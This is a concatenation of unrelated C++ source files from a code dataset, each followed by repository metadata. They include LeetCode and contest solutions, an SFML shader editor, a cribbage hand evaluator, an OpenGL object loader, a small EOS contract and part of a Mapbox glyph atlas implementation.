/** * @Author: Tian Qiao <qiaotian> * @Date: 2016-07-01T11:14:53+08:00 * @Email: qiaotian@me.com * @Last modified by: qiaotian * @Last modified time: 2016-07-01T14:39:48+08:00 * @License: Free License * @Diffculity: Medium */ /** Problem Given a binary tree, collect a tree's nodes as if you were doing this: Collect and remove all leaves, repeat until the tree is empty. Example: Given binary tree 1 / \ 2 3 / \ 4 5 Returns [4, 5, 3], [2], [1]. Explanation: 1. Removing the leaves [4, 5, 3] would result in this tree: 1 / 2 2. Now removing the leaf [2] would result in this tree: 1 3. Now removing the leaf [1] would result in the empty tree: [] Returns [4, 5, 3], [2], [1]. */ /** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode(int x) : val(x), left(NULL), right(NULL) {} * }; */ class Solution { public: unordered_map<TreeNode*, int> hash; // map the node to its max distance to leaves int depth = 0; // max distance from root to nodes // mark every element with its depth and store them into dictionary void layering(TreeNode* root) { if(!root) return; if(!root->left && !root->right) { hash[root] = 0; return; } else if(root->left && !root->right) { layering(root->left); hash[root] = hash[root->left]+1; } else if(!root->left && root->right) { layering(root->right); hash[root] = hash[root->right]+1; } else { layering(root->left); layering(root->right); hash[root] = max(hash[root->left], hash[root->right])+1; } depth = hash[root]; } // traverse all elements and put them into ans according to their depth void traverse(TreeNode* root, vector<vector<int>>& A) { if(!root) return; A[hash[root]].push_back(root->val); traverse(root->left, A); traverse(root->right, A); } vector<vector<int>> findLeaves(TreeNode* root) { vector<vector<int>> ans; if(!root) return ans; layering(root); ans.resize(depth+1); // 改变ans的长度,注意depth的值 traverse(root, ans); return ans; } }; // sxycwzwzq's solution // https://leetcode.com/discuss/110535/c-short-easy-understanding-dfs-solution class Solution { private: int dfs(TreeNode* root, vector<vector<int>>& res){ if(!root) return 0; // 就算下一层节点距离叶节点的最远距离,从而确定当前层的层号 int level = max(dfs(root->left, res), dfs(root->right, res)) + 1; // 如果是新的一层,需要实例新的容器,再将当前节点压栈,否则直接压栈 if(level > (int)res.size()) res.push_back(vector<int>()); res[level - 1].push_back(root->val); // 返回当前层号 return level; } public: vector<vector<int>> findLeaves(TreeNode* root) { vector<vector<int>> res; dfs(root, res); return res; } };
26.146552
133
0.569403
[ "vector" ]
6cfa28bc59c18e0bca74cbc00575faa5c892b582
1,966
cpp
C++
lc/LC6.cpp
4llenchan/dsa
314991a32a24578dbf48e82ddded95804c95aa10
[ "MIT" ]
null
null
null
lc/LC6.cpp
4llenchan/dsa
314991a32a24578dbf48e82ddded95804c95aa10
[ "MIT" ]
null
null
null
lc/LC6.cpp
4llenchan/dsa
314991a32a24578dbf48e82ddded95804c95aa10
[ "MIT" ]
null
null
null
#include <gtest/gtest.h> #include <algorithm> #include <numeric> #include <unordered_map> #include <vector> #include "Common.h" using namespace std; /** * https://leetcode-cn.com/problems/zigzag-conversion/ */ class Solution1 { public: string convert(string s, int numRows) { if (numRows <= 1) { return s; } int loop = 2 * numRows - 2; vector<string> results(numRows, ""); for (int i = 0; i < s.size(); ++i) { int b = i % loop; int c = b / (numRows - 1); int d = b % (numRows - 1); if (c == 1) { results[numRows - 1 - d] += s[i]; } else { results[d] += s[i]; } } string result; for (int i = 0; i < numRows; ++i) { result += results[i]; } return result; } }; /** * 与solution1相比,运行时间相同,内存占用更少,除去结果,没有使用额外的空间,空间复杂度更低 */ class Solution2 { public: string convert(string s, int numRows) { if (numRows <= 1) { return s; } /* * 按行遍历,循环的以Z字的第一竖和斜线作为循环条件,如此存在一个重复的规律。 * 即循环的数量为2n-2 */ int n = (int)s.size(); int loop = 2 * numRows - 2; string result; for (int i = 0; i < numRows; ++i) { /* j + i < n的条件限制了Z的第一竖是有效的 */ for (int j = 0; j + i < n; j += loop) { result += s[j + i]; /* (j + loop - i) < n条件限制了Z的斜线是有效的 */ if (i != 0 && i != (numRows - 1) && (j + loop - i) < n) { result += s[j + loop - i]; } } } return result; } }; class LC6Tests : public ::testing::Test { protected: Solution1 solution1; Solution2 solution2; }; TEST_F(LC6Tests, case1) { string s = "PAYPALISHIRING"; EXPECT_EQ(solution1.convert(s, 3), "PAHNAPLSIIGYIR"); EXPECT_EQ(solution2.convert(s, 3), "PAHNAPLSIIGYIR"); }
23.97561
73
0.468464
[ "vector" ]
6cfac3652b1f9bb7d0775c7d9d0c0a67453753a6
1,284
cpp
C++
nets/Examples/removeDuplicates.cpp
CxAalto/lcelib
dceea76e3f18696a2fa7c8287e1a537fbf493474
[ "0BSD" ]
1
2017-01-24T01:35:43.000Z
2017-01-24T01:35:43.000Z
nets/Examples/removeDuplicates.cpp
CxAalto/lcelib
dceea76e3f18696a2fa7c8287e1a537fbf493474
[ "0BSD" ]
null
null
null
nets/Examples/removeDuplicates.cpp
CxAalto/lcelib
dceea76e3f18696a2fa7c8287e1a537fbf493474
[ "0BSD" ]
null
null
null
/* removeDuplicates.cpp 2007 May 24 Author: Lauri Kovanen Simply reads a network from standard input, saves into the network data structure and writes it back. The internal network presentation takes care not to include any duplicate edges. To compile: g++ -O -Wall removeDuplicates.cpp -o removeDuplicates.cpp To run: cat net.edg | ./removeDuplicates > newnet.edg (net.edg is a file where each row contains the values EDGE TAIL EDGECHARACTERISTIC) (EDGECHARACTERISTIC for example edge weight) */ #define DEBUG // for debugging code to be run //#define NDEBUG // to turn assertions off #include <vector> #include <cassert> #include <string> #include <iostream> #include <sstream> #include <memory> #include "../../Containers.H" #include "../../Nets.H" #include "../NetExtras.H" typedef SymmNet<float> NetType; int main(int argc, char* argv[]) { /* Read network from stdin. Using a pointer to a network, since we don't know how many nodes and edges we will read */ std::auto_ptr<NetType> netPointer(readNet2<NetType>(1, 0)); NetType& net = *netPointer; // Create a reference for easier handling of net. outputEdgesAndWeights(net); }
29.181818
83
0.66433
[ "vector" ]
6cfbd5fd2c4797aa71c6bdcff5636278b5553227
324
cpp
C++
wave_array.cpp
ArnabBir/leetcode-solutions
31cf1edaa2f39c1f8d0300ad815889999058a0c8
[ "MIT" ]
null
null
null
wave_array.cpp
ArnabBir/leetcode-solutions
31cf1edaa2f39c1f8d0300ad815889999058a0c8
[ "MIT" ]
null
null
null
wave_array.cpp
ArnabBir/leetcode-solutions
31cf1edaa2f39c1f8d0300ad815889999058a0c8
[ "MIT" ]
null
null
null
vector<int> Solution::wave(vector<int> &A) { int n = A.size(); int m = n/2; sort(A.begin(), A.end()); vector<int> result; for(int i = 0; i < n/2; ++i) { result.push_back(A[2*i+1]); result.push_back(A[2*i]); } if(n%2) { result.push_back(A[n-1]); } return result; }
21.6
44
0.487654
[ "vector" ]
9f12a5cb529ff0c9b48e8bf8445e527d7b3c263d
4,400
cpp
C++
ShaderEditor/src/main.cpp
fallahn/xygine
c17e7d29bb57a5425a58abd3a05a843d6bac48e3
[ "Unlicense" ]
220
2015-10-22T16:12:13.000Z
2022-03-16T18:51:11.000Z
ShaderEditor/src/main.cpp
fallahn/xygine
c17e7d29bb57a5425a58abd3a05a843d6bac48e3
[ "Unlicense" ]
64
2016-05-05T19:17:13.000Z
2021-02-11T19:24:37.000Z
ShaderEditor/src/main.cpp
fallahn/xygine
c17e7d29bb57a5425a58abd3a05a843d6bac48e3
[ "Unlicense" ]
33
2016-01-13T16:44:26.000Z
2021-11-05T21:57:24.000Z
/********************************************************************* (c) Matt Marchant 2019 http://trederia.blogspot.com xygineXT Shader Editor - Zlib license. This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. *********************************************************************/ #include <SFML/Graphics/RenderWindow.hpp> #include <SFML/Window/Event.hpp> #include <SFML/System/Clock.hpp> #include "imgui/imgui.h" #include "imgui/imgui-SFML.h" #include "EditorWindow.hpp" #include "WindowFunctions.hpp" #include "WindowFlags.hpp" #include "Renderer.hpp" #include "glad.h" #include <bitset> #include <iostream> #include <fstream> #include <cstring> int main(int argc, char** argsv) { sf::Vector2u windowSize(1024, 768); const std::string settingsName("window.set"); std::ifstream file(settingsName, std::ios::binary); if (file.is_open() && file.good()) { file.seekg(0, file.end); auto fileSize = file.tellg(); file.seekg(file.beg); if (fileSize == sizeof(windowSize)) { std::vector<char> buff(sizeof(windowSize)); file.read(buff.data(), buff.size()); std::memcpy(&windowSize, buff.data(), buff.size()); } file.close(); } sf::RenderWindow window; window.create({ windowSize.x, windowSize.y }, "Shader Editor"); window.setVerticalSyncEnabled(true); if (!gladLoadGL()) { std::cerr << "Failed loading OpenGL functions\n"; window.close(); return -1; } ImGui::SFML::Init(window); sf::Clock frameClock; std::bitset<WindowFlags::Count> windowFlags; EditorWindow textEditor; Renderer renderer; while (window.isOpen()) { sf::Event evt; while (window.pollEvent(evt)) { ImGui::SFML::ProcessEvent(evt); if (evt.type == sf::Event::Closed) { window.close(); } else if (evt.type == sf::Event::Resized) { sf::View view; view.setSize(sf::Vector2f(window.getSize())); view.setCenter(view.getSize() / 2.f); window.setView(view); } else if (evt.type == sf::Event::KeyReleased) { #ifdef XY_DEBUG if(evt.key.code == sf::Keyboard::Escape) { window.close(); } #endif //XY_DEBUG switch (evt.key.code) { default: break; case sf::Keyboard::F7: windowFlags.set(WindowFlags::RunShader); break; } } } ImGui::SFML::Update(window, frameClock.restart()); textEditor.update(windowFlags); renderer.update(windowFlags); if (windowFlags.test(ShowDemo)) { ImGui::ShowDemoWindow(); } if (windowFlags.test(RunShader)) { //update the renderer renderer.compileShader(textEditor.getString(), windowFlags); windowFlags.set(RunShader, false); } renderer.draw(); window.clear(); ImGui::SFML::Render(window); window.display(); } //stash the window size windowSize = window.getSize(); std::ofstream oFile(settingsName, std::ios::binary); if (oFile.is_open() && oFile.good()) { std::vector<char> buff(sizeof(windowSize)); std::memcpy(buff.data(), &windowSize, buff.size()); oFile.write(buff.data(), buff.size()); oFile.close(); } return 0; }
28.205128
72
0.574773
[ "render", "vector" ]
2f716a4c918a270168200e356e1a6bce35af1fe2
689
cpp
C++
demo/demo.cpp
magiebox/magiebox-interface
0082b98fc639cb6e35bf07afe37d756328bd00de
[ "Apache-2.0" ]
null
null
null
demo/demo.cpp
magiebox/magiebox-interface
0082b98fc639cb6e35bf07afe37d756328bd00de
[ "Apache-2.0" ]
null
null
null
demo/demo.cpp
magiebox/magiebox-interface
0082b98fc639cb6e35bf07afe37d756328bd00de
[ "Apache-2.0" ]
null
null
null
#include "demo.hpp" void demo::transfer(name from, name to, asset quantity, string memo) { require_auth(from); if (from == _self || to != _self) { return; } if (memo == "i am boss") { return; } eosio_assert(quantity.amount <= 1000 * 10000, "you bet too high, buddy."); string gameMemo = GetGameMemo(from, memo); vector<string> v_head; SplitString(Memo_head, v_head, "-"); vector<string> v_memo; SplitString(gameMemo, v_memo, ","); eosio_assert(v_memo.size() == 3, "invalid game memo."); print(gameMemo); // reward payment pay_out(_self, name(v_head[0]), quantity, "You win!", name(v_head[1])); }
24.607143
78
0.596517
[ "vector" ]
2f8009a2aa12ea9240d335f761f60c1f1a421ed3
7,322
cpp
C++
apps/crib_hand_helper.cpp
kam3k/crib_hand_helper
bc7d67c44817701bc32bf0e1efb105e8b7b20d4b
[ "MIT" ]
null
null
null
apps/crib_hand_helper.cpp
kam3k/crib_hand_helper
bc7d67c44817701bc32bf0e1efb105e8b7b20d4b
[ "MIT" ]
null
null
null
apps/crib_hand_helper.cpp
kam3k/crib_hand_helper
bc7d67c44817701bc32bf0e1efb105e8b7b20d4b
[ "MIT" ]
null
null
null
#include <algorithm> #include <cassert> #include <cctype> #include <iomanip> #include <iostream> #include <map> #include <sstream> #include <string> #include "crib_hand_helper/card.h" #include "crib_hand_helper/constants.h" #include "crib_hand_helper/hand_counter.h" #include "crib_hand_helper/hand_statistics.h" using namespace crib; bool validate_hand(const std::string& hand_string) { if (hand_string.size() != 6) { return false; } for (const auto& card_char : hand_string) { // Must not be in hand more than four times if (std::count(hand_string.begin(), hand_string.end(), card_char) > 4) { return false; } // Capitalize letters auto card = card_char; if (!std::isdigit(card)) { card = std::toupper(card); } // Must be in CARD_NAMES if (std::find(CARD_NAMES.begin(), CARD_NAMES.end(), card) == CARD_NAMES.end()) { return false; } } return true; } Hand parse_hand(const std::string& hand_string) { assert(hand_string.size() == 6); const std::string suits = "cdhscd"; Hand hand; for (std::string::size_type i = 0; i < hand_string.size(); ++i) { // Capitalize letters auto card = hand_string[i]; if (!std::isdigit(card)) { card = std::toupper(card); } hand.emplace_back(card, suits[i]); } return hand; } bool validate_suits(const std::string& suits, const Hand& hand) { assert(suits.size() == 6); assert(hand.size() == 6); // Check if suits are all c, d, h, or s for (const auto& suit : suits) { if (std::find(CARD_SUITS.begin(), CARD_SUITS.end(), suit) == CARD_SUITS.end()) { std::cout << "One or more suits are invalid.\n"; return false; } } // Check if two cards with the same rank have the same suit std::map<unsigned, std::vector<char>> rank_suits_map; auto suit_it = suits.cbegin(); auto card_it = hand.cbegin(); for (; suit_it != suits.cend() && card_it != hand.cend(); ++suit_it, ++card_it) { auto& suits = rank_suits_map[card_it->rank]; if (std::find(suits.begin(), suits.end(), *suit_it) != suits.end()) { std::cout << "Two cards cannot have the same rank and suit.\n"; return false; } suits.push_back(*suit_it); } return true; } void adjust_suits(Hand& hand) { assert(hand.size() == 6); std::string suit_string; auto input_is_valid = false; while (!input_is_valid) { std::cout << "Enter suits: "; std::cin >> suit_string; if (suit_string.size() != 6) { std::cout << "Enter exactly six suits.\n"; continue; } else if (!validate_suits(suit_string, hand)) { continue; } input_is_valid = true; } // Adjust suits in hand for (std::string::size_type i = 0; i < suit_string.size(); ++i) { hand[i].suit = suit_string[i]; } } void print_results(const std::vector<HandStatistics>& hand_statistics, bool need_suits) { assert(hand_statistics.size() == 15); auto discard_space = need_suits ? 12 : 10; std::cout << std::endl; std::cout << std::right << std::setw(discard_space) << "DISCARD" << std::right << std::setw(14) << "AVERAGE" << std::right << std::setw(7) << "HIGH" << std::setw(6) << std::right << "LOW" << std::endl; std::cout << std::right << std::setw(discard_space) << "-------" << std::right << std::setw(14) << "-----------" << std::right << std::setw(7) << "----" << std::setw(6) << std::right << "---" << std::endl; std::vector<std::string> previous_outputs; for (const auto& hs : hand_statistics) { std::string discard; if (need_suits) { discard = {hs.discard[0].name, hs.discard[0].suit, ' ', hs.discard[1].name, hs.discard[1].suit}; } else { discard = {hs.discard[0].name, ' ', hs.discard[1].name}; } std::ostringstream output; output << std::setw(discard_space) << std::right << discard << std::setw(14) << std::right << std::fixed << std::setprecision(2) << std::setw(8) << std::right << hs.mean << " \u00b1 " << std::fixed << std::setprecision(1) << std::setw(3) << std::right << hs.std_dev << std::setw(7) << std::right << hs.best << std::setw(6) << std::right << hs.worst; // Don't print repeats if (std::find(previous_outputs.begin(), previous_outputs.end(), output.str()) == previous_outputs.end()) { std::cout << output.str() << std::endl; previous_outputs.push_back(output.str()); } } std::cout << std::endl; } int main() { while (true) { auto input_is_valid = false; std::string hand_string; // Get hand while (!input_is_valid) { std::cout << "Enter hand: "; std::cin >> hand_string; input_is_valid = validate_hand(hand_string); if (!input_is_valid) { std::cout << "Invalid hand. Try again.\n"; } } // Make hand string upper case std::transform(hand_string.begin(), hand_string.end(), hand_string.begin(), ::toupper); // Parse hand auto hand = parse_hand(hand_string); // Check if there is a Jack (will need suits in this case) bool need_suits = std::find(hand_string.begin(), hand_string.end(), 'J') != hand_string.end(); if (need_suits) { std::cout << "You have a Jack in your hand. "; } // Check if there is a flush possibility (will need suits in this case); if (!need_suits) { input_is_valid = false; char response; while (!input_is_valid) { std::cout << "Are at least fours card the same suit? [y/n]: "; std::cin >> response; input_is_valid = response == 'y' || response == 'n'; if (!input_is_valid) { std::cout << "Invalid selection. Please enter y or n.\n"; std::cin.clear(); std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n'); } } need_suits = response == 'y'; } // Adjust suits if necessary if (need_suits) { adjust_suits(hand); } // Get two all possible discards and corresponding keeps std::vector<Hand> all_discards, all_keeps; for (const auto& indices : SIX_CHOOSE_TWO_INDICES) { Hand discard, keep; for (Hand::size_type i = 0; i < hand.size(); ++i) { if (i == indices[0] || i == indices[1]) { discard.push_back(hand[i]); } else { keep.push_back(hand[i]); } } all_discards.push_back(discard); all_keeps.push_back(keep); } // Calculate hand statistics std::vector<HandStatistics> all_hand_statistics; for (decltype(all_discards.size()) i = 0; i < all_discards.size(); ++i) { all_hand_statistics.push_back( get_hand_statistics(all_keeps[i], all_discards[i])); } // Sort from best average to worst average std::sort(all_hand_statistics.begin(), all_hand_statistics.end(), [](const HandStatistics& hs_1, const HandStatistics& hs_2) { return hs_1.mean > hs_2.mean; }); print_results(all_hand_statistics, need_suits); } // while (true) }
26.243728
80
0.573887
[ "vector", "transform" ]
2f81e7329c6a01f170324093878189457ac78dbc
3,443
cpp
C++
Codeforces/EcoDriving.cpp
aajjbb/contest-files
b8842681b96017063a7baeac52ae1318bf59d74d
[ "Apache-2.0" ]
1
2018-08-28T19:58:40.000Z
2018-08-28T19:58:40.000Z
Codeforces/EcoDriving.cpp
aajjbb/contest-files
b8842681b96017063a7baeac52ae1318bf59d74d
[ "Apache-2.0" ]
2
2017-04-16T00:48:05.000Z
2017-08-03T20:12:26.000Z
Codeforces/EcoDriving.cpp
aajjbb/contest-files
b8842681b96017063a7baeac52ae1318bf59d74d
[ "Apache-2.0" ]
4
2016-03-04T19:42:00.000Z
2018-01-08T11:42:00.000Z
#include <queue> #include <cstdio> #include <cmath> using namespace std; const int MAXN = 205; const double PI = acos(-1); const int INF = 100100100; const double EPS = 1e-6; int J, R, D; long long X[MAXN], Y[MAXN]; vector<int> G[MAXN]; double dist[MAXN * MAXN], len[MAXN][MAXN], angle[MAXN][MAXN][MAXN]; priority_queue<pair<double, int> > q; double DEG_to_RAD(double theta) { return theta*PI/180.; } double RAD_to_DEG(double theta) { return theta*180. / PI; } struct Vector { double x, y; Vector() {} Vector(double x, double y): x(x), y(y) {} double mod() { return hypot(x, y); } double angle(Vector v) { return RAD_to_DEG(acos(dot(v) / (mod() * v.mod()))); } double dot(Vector v) { return (x * v.x + y * v.y); } double cross(Vector v) { return (x * v.y - y * v.x); } }; double getAngle(int a, int b, int c) { if (a == b || a == c || b == c) return 0; double xa = X[a] - X[b]; double ya = Y[a] - Y[b]; double xb = X[b] - X[c]; double yb = Y[b] - Y[c]; Vector va(xa, ya); Vector vb(xb, yb); //return RAD_to_DEG(acos((xa * xb + ya * yb) / hypot(xa, ya) * hypot(xb, yb))); return va.angle(vb); } double getDist(int a, int b) { return sqrt((X[a] - X[b]) * (X[a] - X[b]) + (Y[a] - Y[b]) * (Y[a] - Y[b])); } bool func(int rt, double largest) { while (!q.empty()) q.pop(); q.push({0, rt}); for (int i = 0; i <= J * J; i++) { dist[i] = INF; } dist[rt] = 0; while (!q.empty()) { double ds = -q.top().first; int id = q.top().second; int now = q.top().second % J; int pre = q.top().second / J; q.pop(); if (ds > EPS + dist[id]) continue; if (now == J - 1) { return true; } for (int i = 0; i < (int) G[now].size(); i++) { int next = G[now][i]; double dst = dist[id] + len[now][next]; double ang = angle[pre][now][next]; if (ang > largest) continue; if (dst - EPS > D) continue; int next_id = now * J + next; if (dist[next_id] > dst) { dist[next_id] = dst; q.push(make_pair(-dst, next_id)); } } } return false; } int main() { scanf("%d%d%d", &J, &R, &D); for (int i = 0; i < J; i++) { scanf("%lld%lld", &X[i], &Y[i]); } for (int i = 0; i < R; i++) { int a, b; scanf("%d%d", &a, &b); a -= 1; b -= 1; len[a][b] = getDist(a, b); G[a].push_back(b); } for (int i = 1; i <= J; i++) { for (int j = 0; j < (int) G[i].size(); j++) { int a = G[i][j]; for (int k = 0; k < (int) G[a].size(); k++) { angle[i][a][G[a][k]] = getAngle(i, a, G[a][k]); } } } double l = 0.0, h = 180; double ans = INF; for (int i = 0; i < 80; i++) { double m = (l + h) / 2; bool now = func(0, m); if (now) { ans = m; h = m; } else { l = m; } } //cout << fixed << setprecision(8) << ans << "\n"; if (ans + EPS <= INF) { printf("%.8lf\n", ans); } else { puts("Impossible\n"); } return 0; }
21.122699
83
0.421144
[ "vector" ]
2f8b53c5511808fa262f80fd863a2ba8bd91b72c
6,445
cpp
C++
DiamondEngine/Loader.cpp
SilentCode446/Diamond_Engine
e35401d67e915af53aacbf1a397b91b5cb5c02ca
[ "MIT" ]
1
2021-05-27T16:41:59.000Z
2021-05-27T16:41:59.000Z
DiamondEngine/Loader.cpp
SilentCode446/Diamond_Engine
e35401d67e915af53aacbf1a397b91b5cb5c02ca
[ "MIT" ]
null
null
null
DiamondEngine/Loader.cpp
SilentCode446/Diamond_Engine
e35401d67e915af53aacbf1a397b91b5cb5c02ca
[ "MIT" ]
null
null
null
#include "Loader.h" #include "ObjLoader.h" //Textures string DefaultPath = "Images/"; GLuint Loader::ObjectsTotal() { return objects_total; } Object Loader::getObject(int index) { return objects.at(objects[0].id + index - 2); } Object Loader::getLastObject() { return last_obj; } vector<Object>* Loader::getObjects() { return &objects; } Loader::Loader(int quantity, Texture* Tex) { objects_total = quantity; m_Tex = Tex; } void Loader::PreLoad() { objects[0].id = glGenLists(objects_total + 1); DrawTerrain(objects[0].id); } void Loader::LoadTextures(string textures_files_names[]) { glEnable(GL_TEXTURE_2D); glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_REPLACE); string textures_file_names[] = {"sus.png", "brickTexture.jpg", "woodTexture.jpg", "metalTexture.jpg", "woodBoxTexture.png", "worldTexture.jpg", "ricardoTexture.png"}; for (int index = 0; index < (sizeof(textures_file_names) / sizeof(*textures_file_names)); index++) { m_Tex[index].Load(DefaultPath + textures_file_names[index]); } } void Loader::LoadLine(glm::vec3 p1, glm::vec3 p2) { int x, y, z; objects.push_back(last_obj); //Generate Info last_obj.id = objects[objects_total].id = objects[0].id + objects_total; last_obj.size = objects[objects_total].size = p2 - p1; //Check x, y, z (position) if (p2.x > p1.x) x = p2.x - p1.x; else x = p1.x - p2.x; if (p2.y > p1.y) y = p2.y - p1.y; else y = p1.y - p2.y; if (p2.z > p1.z) z = p2.z - p1.z; else z = p1.z - p2.z; last_obj.pos = objects[objects_total].pos = glm::vec3(x, y, z); //Load Object Line(last_obj.id, p1, p2); //Update Index objects_total++; } void Loader::LoadCube(float cube_size, glm::vec3 cube_pos, Texture* tex) { objects.push_back(last_obj); //Generate Info last_obj.id = objects[objects_total].id = objects[0].id + objects_total; last_obj.size = objects[objects_total].size = glm::vec3(cube_size, cube_size, cube_size); last_obj.pos = objects[objects_total].pos = cube_pos; //Load Object Cube(last_obj.id, tex, cube_size, red); //Update Index objects_total++; } void Loader::LoadSphere(float sphere_radius, glm::vec3 sphere_pos, Texture* tex) { objects.push_back(last_obj); //Generate Info last_obj.id = objects[objects_total].id = objects[0].id + objects_total; last_obj.size = objects[objects_total].size = glm::vec3(sphere_radius, sphere_radius, sphere_radius); last_obj.pos = objects[objects_total].pos = sphere_pos; //Load Object DrawGluSphere(last_obj.id, tex, sphere_radius, 10, 10, red); //Update Index objects_total++; } void Loader::LoadObj(string file_path, glm::vec3 pos) { objl::Loader Loader; bool loadout = Loader.LoadFile(file_path); if (loadout) { objects.push_back(last_obj); //Generate ID last_obj.id = objects[objects_total].id = objects[0].id + objects_total; //Set position last_obj.pos = objects[objects_total].pos = pos; std::ofstream file("e1Out.txt"); float matSpecular[] = { 1.f, 1.f, 1.f, 1.f }; float matAmb[] = { 0.f, 0.f, 0.f, 1.f }; glMaterialfv(GL_FRONT, GL_AMBIENT, matAmb); glMaterialfv(GL_FRONT, GL_SPECULAR, matSpecular); glMaterialf(GL_FRONT, GL_SHININESS, 128); glNewList(last_obj.id, GL_COMPILE); glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); for (int i = 0; i < Loader.LoadedMeshes.size(); i++) { // Copy one of the loaded meshes to be our current mesh objl::Mesh curMesh = Loader.LoadedMeshes[i]; file << "Mesh " << i << ": " << curMesh.MeshName << "\n"; file << "Vertices:\n"; glBegin(GL_TRIANGLES); for (int j = 0; j < curMesh.Vertices.size(); j++) { glVertex3f(curMesh.Vertices[j].Position.X, curMesh.Vertices[j].Position.Y, curMesh.Vertices[j].Position.Z); } glEnd(); file << "Indices:\n"; // Go through every 3rd index and print the triangle that these indices represent for (int j = 0; j < curMesh.Indices.size(); j += 3) { file << "T" << j / 3 << ": " << curMesh.Indices[j] << ", " << curMesh.Indices[j + 1] << ", " << curMesh.Indices[j + 2] << "\n"; }file << "\n"; }file.close(); glEndList(); //Update Index objects_total++; } else { std::ofstream file("e1Out.txt"); file << "Failed to Load File. May have failed to find it or it was not an .obj file.\n"; file.close(); } } void Loader::LoadHitbox(bool show, Object ob1, Object ob2) { objects.push_back(last_obj); //Generate ID objects[objects_total].id = objects[0].id + objects_total; //Load Hitbox Hitbox hitbox = Hitbox(ob1); if (show && hitbox.isCollidingWith(ob2)) { hitbox.showHitbox(objects[objects_total].id); } objects[objects_total].pos = ob1.pos; //Update Index objects_total++; } void Loader::GenerateRandom() { for (int i = 0; i < objects_total; i++) { Object p; objects.push_back(p); } objects[0].id = glGenLists(objects_total + 1); DrawTerrain(objects[0].id); srand(time(0)); for (int i = 1; i < objects_total; i++) { objects[i].id = objects[0].id + i; float x = random(-40, 40); float y = random(-8, 8); float z = random(-40, 40); float size = random(1.0, 2.0); objects[i].pos = glm::vec3(x, y, z); float k = (float)rand() / RAND_MAX; if (k <= 0.33) { Texture* sus_tex; sus_tex = &m_Tex[5]; Cube(objects[i].id, sus_tex, size, red); } else if (k <= 0.665) { Texture* world_tex; world_tex = &m_Tex[3]; DrawGluSphere(objects[i].id, world_tex, 1.0, 1.0, 10, red); } else { Arrow(objects[i].id, 0.3, green); } } } void Loader::DrawEverything() { glCallList(objects[0].id); for (int i = 1; i < objects_total; i++) { float x = objects[i].pos.x; float y = objects[i].pos.y; float z = objects[i].pos.z; glPushMatrix(); glTranslatef(x, y, z); glCallList(objects[i].id); glPopMatrix(); } }
27.425532
170
0.586501
[ "mesh", "object", "vector" ]
2f8c44db59f9f95513b3114a2206ec313627a24f
8,475
cpp
C++
src/mbgl/text/glyph_atlas.cpp
followtherider/mapbox-gl-native
62b56b799a7d4fcd1a8f151eed878054b862da5b
[ "BSL-1.0", "Apache-2.0" ]
null
null
null
src/mbgl/text/glyph_atlas.cpp
followtherider/mapbox-gl-native
62b56b799a7d4fcd1a8f151eed878054b862da5b
[ "BSL-1.0", "Apache-2.0" ]
null
null
null
src/mbgl/text/glyph_atlas.cpp
followtherider/mapbox-gl-native
62b56b799a7d4fcd1a8f151eed878054b862da5b
[ "BSL-1.0", "Apache-2.0" ]
null
null
null
#include <mbgl/text/glyph_atlas.hpp> #include <mbgl/text/glyph_atlas_observer.hpp> #include <mbgl/text/glyph_pbf.hpp> #include <mbgl/gl/gl.hpp> #include <mbgl/gl/context.hpp> #include <mbgl/platform/log.hpp> #include <mbgl/platform/platform.hpp> #include <cassert> #include <algorithm> namespace mbgl { static GlyphAtlasObserver nullObserver; GlyphAtlas::GlyphAtlas(uint16_t width_, uint16_t height_, FileSource& fileSource_) : width(width_), height(height_), fileSource(fileSource_), observer(&nullObserver), bin(width_, height_), data(std::make_unique<uint8_t[]>(width_ * height_)), dirty(true) { } GlyphAtlas::~GlyphAtlas() = default; void GlyphAtlas::requestGlyphRange(const FontStack& fontStack, const GlyphRange& range) { std::lock_guard<std::mutex> lock(rangesMutex); auto& rangeSets = ranges[fontStack]; const auto& rangeSetsIt = rangeSets.find(range); if (rangeSetsIt != rangeSets.end()) { return; } rangeSets.emplace(range, std::make_unique<GlyphPBF>(this, fontStack, range, observer, fileSource)); } bool GlyphAtlas::hasGlyphRanges(const FontStack& fontStack, const GlyphRangeSet& glyphRanges) { if (glyphRanges.empty()) { return true; } std::lock_guard<std::mutex> lock(rangesMutex); const auto& rangeSets = ranges[fontStack]; bool hasRanges = true; for (const auto& range : glyphRanges) { const auto& rangeSetsIt = rangeSets.find(range); if (rangeSetsIt == rangeSets.end()) { // Push the request to the MapThread, so we can easly cancel // if it is still pending when we destroy this object. workQueue.push(std::bind(&GlyphAtlas::requestGlyphRange, this, fontStack, range)); hasRanges = false; continue; } if (!rangeSetsIt->second->isParsed()) { hasRanges = false; } } return hasRanges; } util::exclusive<GlyphSet> GlyphAtlas::getGlyphSet(const FontStack& fontStack) { auto lock = std::make_unique<std::lock_guard<std::mutex>>(glyphSetsMutex); auto it = glyphSets.find(fontStack); if (it == glyphSets.end()) { it = glyphSets.emplace(fontStack, std::make_unique<GlyphSet>()).first; } // FIXME: We lock all GlyphSets, but what we should // really do is lock only the one we are returning. return { it->second.get(), std::move(lock) }; } void GlyphAtlas::setObserver(GlyphAtlasObserver* observer_) { observer = observer_; } void GlyphAtlas::addGlyphs(uintptr_t tileUID, const std::u32string& text, const FontStack& fontStack, const GlyphSet& glyphSet, GlyphPositions& face) { std::lock_guard<std::mutex> lock(mtx); const std::map<uint32_t, SDFGlyph>& sdfs = glyphSet.getSDFs(); for (uint32_t chr : text) { auto sdf_it = sdfs.find(chr); if (sdf_it == sdfs.end()) { continue; } const SDFGlyph& sdf = sdf_it->second; Rect<uint16_t> rect = addGlyph(tileUID, fontStack, sdf); face.emplace(chr, Glyph{rect, sdf.metrics}); } } Rect<uint16_t> GlyphAtlas::addGlyph(uintptr_t tileUID, const FontStack& fontStack, const SDFGlyph& glyph) { // Use constant value for now. const uint8_t buffer = 3; std::map<uint32_t, GlyphValue>& face = index[fontStack]; auto it = face.find(glyph.id); // The 